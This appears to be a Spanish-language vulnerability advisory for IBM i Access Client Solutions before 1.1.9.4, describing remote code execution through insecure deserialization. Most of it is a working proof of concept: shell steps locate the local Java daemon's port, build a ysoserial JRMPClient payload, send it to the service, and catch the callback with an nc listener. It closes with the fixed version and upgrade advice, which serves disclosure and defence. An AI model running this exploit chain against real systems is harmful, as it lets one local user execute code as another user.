
IBM i Access Client Solutions < 1.1.9.4 - Ejecución remota de código mediante deserialización insegura
IBM i Access Client Solutions < 1.1.9.4 - Ejecución remota de código mediante deserialización insegura.
IBM i Access Client Solutions utiliza deserialización insegura para el almacenamiento de contraseñas y la obtención de la clave de descifrado para el cifrado de contraseñas. Esto podría ser utilizado por un atacante local o remoto para ejecutar código.
El servidor local se puede encontrar fácilmente usando el comando netstat:
┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ netstat -nltp | grep java
tcp6 0 0 :::34307 :::* LISTEN 3225094/java off (0.00/0/0)
Podemos confirmar detalles sobre este servidor local usando el comando ps:
┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ ps aux | grep java
mmajchr+ 3224938 6.8 0.9 13305316 301392 pts/6 Sl+ 12:30 0:17 java -jar ./acsbundle_1.9.new.jar
mmajchr+ 3225094 0.3 0.2 11512420 79692 pts/6 Sl+ 12:30 0:00 /usr/lib/jvm/java-17-openjdk-amd64/bin/java -Djava.class.path=/tmp/ACS.lm13910263510749358977.jar -Dvisualvm.display.name=ACS Daemon -Dcom.ibm.tools.attach.displayName=ACS Daemon com.ibm.iaccess.base.LmHybridServerImpl
mkubiak 3238934 0.0 0.0 6464 1992 pts/12 R+ 12:44 0:00 grep --color=auto java
Podemos lograr la ejecución de código por el usuario mmajchrowicz utilizando el payload ysoserial desde la cuenta mkubiak:
┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ id
uid=1012(mkubiak) gid=1012(mkubiak) groups=1012(mkubiak),27(sudo)
┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ java -jar ysoserial.jar JRMPClient '127.0.0.1:9191' > jrmp.bin
┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ (sleep 3; cat jrmp.bin) | nat -6 ::1 34307
En la segunda terminal recibiremos la conexión después de la ejecución del payload por el servicio:
┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ nc -lvnp 9191
listening on [any] 9191 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 38012
JRMIK
┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$
Este problema fue causado por una deserialización insegura de paquetes de red y datos de usuario. Este problema está corregido en IBM i Access Client Solutions 1.1.9.4.
< 1.1.9.4
Actualice IBM i Access Client Solutions a 1.1.9.4 o superior.